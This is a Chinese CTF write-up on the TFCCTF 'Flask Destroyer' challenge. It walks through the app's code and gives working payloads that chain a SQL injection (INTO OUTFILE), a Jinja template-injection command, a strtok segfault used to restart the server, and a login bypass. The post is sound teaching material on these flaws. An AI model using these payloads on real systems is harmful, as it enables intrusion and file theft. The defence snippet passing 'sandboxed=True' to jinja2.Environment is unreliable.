python函数缺陷导致flask服务重启加载模板的SSTI漏洞
1315609050541697 发表于 河南 CTF 655浏览 · 2024-08-04 14:46

本文深入探究python flask框架中由于某些函数缺陷,导致flask服务重启进而重新加载模板导致的SSTI漏洞。

以2024TFCCTF FLASK DESTROYER为例进行分析

源码如下:
routers.py

from flask import render_template, url_for, flash, redirect, request, Blueprint, current_app, jsonify, session
from app import db
from app.forms import LoginForm
from app.database import get_user_by_username_password
from app.models import User
import os

bp = Blueprint('main', __name__)
registered_templates = os.listdir('app/templates')
@bp.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm(request.form, meta={'csrf': False})
    if form.validate_on_submit():
        user = get_user_by_username_password(form.username.data, form.password.data)
        if user:
            session['id'] = user.id
            return redirect(url_for('main.home'))
        else:
            flash('Login Unsuccessful. Please check username and password', 'danger')
    return render_template('login.html', title='Login', form=form)

@bp.get('/logout')
def logout():
    session['id'] = None
    return redirect(url_for('main.login'))

# Define a route with a URL parameter
@bp.route('/<string:page>')
@bp.route('/', defaults={'page': 'home.html'})
def home(page):
    if not session.get('id'):
        return redirect(url_for('main.login'))

    page = os.path.basename(page)
    if page not in registered_templates or not os.path.isfile(os.path.join('app/templates', page)):
        return render_template('home.html')
    return render_template(page)

我们在database.py文件中明显发现了sql注入漏洞

def get_user_by_username_password(username, password):
    """Fetch user by username."""
    query = "SELECT * FROM user WHERE username = \"{}\" AND password = \"{}\"".format(username, password)
    result = db.session.execute(text(query))
    row = result.fetchone()

    if row:
        user = User(id = row[0], credentials = f'{row[1]}:{row[2]}')
        return user
    return None
  • 接着发现可以任意加载templates目录下模板的路由,但是此处的registered_templates = os.listdir('app/templates')在服务启动的时候就已经把模板加载进了变量,所以我们再写入文件,它的这个变量也没有存放,需要我们通过一定手段写文件之后,将服务重启重新加载模板文件。
@bp.route('/<string:page>')
@bp.route('/', defaults={'page': 'home.html'})
def home(page):
    if not session.get('id'):
        return redirect(url_for('main.login'))

    page = os.path.basename(page)
    if page not in registered_templates or not os.path.isfile(os.path.join('app/templates', page)):
        return render_template('home.html')
    return render_template(page)
  • 通过查看my.cnf配置文件,发现sql可以任意目录写文件(secure_file_priv = "" 由此看出置为空字符串的配置问题)
[mysqld]
default-authentication-plugin = mysql_native_password
secure_file_priv = ""
  • 观察moudels.py文件,定义了User类,属性名是数据库表的列
class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(255), unique=True, nullable=False)
    password = db.Column(db.String(255), nullable=False)
    def __init__(self, id, credentials):
        self.id = id
        self.username = strtok(credentials, ':')[0]
        self.password = strtok(credentials, ':')[1]

    def __repr__(self) -> str:
        return f'User(id={self.id}, username={self.username}, password={self.password})'
  • 其中我们跟进strtok函数(这是本文的函数缺陷所在)
import ctypes
# Load the C standard library
libc = ctypes.CDLL(None)  # Automatically finds the C standard library
# Define strtok function prototype
libc.strtok.restype = ctypes.c_char_p
libc.strtok.argtypes = [ctypes.c_char_p, ctypes.c_char_p]

def strtok(input_string, delimiter):

    # Create a ctypes string buffer for the input string
    input_buffer = ctypes.create_string_buffer(input_string.encode('utf-8'))

    # Tokenize the first part of the string
    token = libc.strtok(input_buffer, delimiter.encode('utf-8'))
    tokens = []

    # Iterate through the tokens
    while token is not None:
        # Add the token to the list of tokens
        tokens.append(token.decode('utf-8'))
        # Get the next token
        token = libc.strtok(None, delimiter.encode('utf-8'))

    # Solve edge case
    if input_string[-1] == delimiter:
        token = ctypes.string_at(token)
        tokens.append(token)
    return tokens
  • 我们重点关注这段代码,while循环中,通过不断分割将字符串添加到token中,最后剩下None返回给token,而之后下面的代码处理边界情况,用了token作为读取的位置来处理,但此时只能读取到None,因此我们只需要构造结尾是:便会走进if
# Iterate through the tokens
    while token is not None:
        # Add the token to the list of tokens
        tokens.append(token.decode('utf-8'))
        # Get the next token
        token = libc.strtok(None, delimiter.encode('utf-8'))

    # Solve edge case
    if input_string[-1] == delimiter:
        token = ctypes.string_at(token)
        tokens.append(token)
    return tokens
  • 通过本地代码测试,以:结尾的字符串运行会产生内存越界错误(Segmentation fault (core dumped))

  • 下面是添加:结尾前后的运行结果:

漏洞利用

  • 登录页面sql写恶意模板文件,注意文件路径源码中有
username=admin";select "{{config.__class__.__init__.__globals__['os'].popen('cat /tmp/*/*/*/*').read()}}" into outfile '/destroyer/app/templates/a.html';#&password=123&vibe=y
  • 再利用sql注入修改admin密码为1:,此时用admin/1:登录,服务会报错重新登录即可重启服务
username=admin";update user set password = '1:' where username = 'admin';#
  • 利用万能密码登录 最后访问a.html恶意模板文件拿到了flag
admin" or 1=1#

防御措施

为了防止此类漏洞,可以采取以下措施:

  • 安全配置:

确保模板引擎被配置为不允许执行任意代码。在 Flask 中,可以通过设置 autoescape 和 sandboxed 模式来提高安全性。

from jinja2 import Environment, select_autoescape

app.jinja_env = Environment(
    autoescape=select_autoescape(['html', 'xml']),
    sandboxed=True
)
  • 输入验证:
    对用户提供的数据进行严格的验证和过滤,避免将未经处理的数据直接传递给模板引擎。

  • 最小权限原则:
    使用沙箱模式限制模板内的功能,例如禁用外部函数调用。

  • 使用安全函数:
    避免使用可能导致 SSTI 的函数,例如直接使用用户提供的字符串作为模板。

  • 代码审查:
    进行代码审查,确保没有直接输入的地方。

0 条评论
某人
表情
可输入 255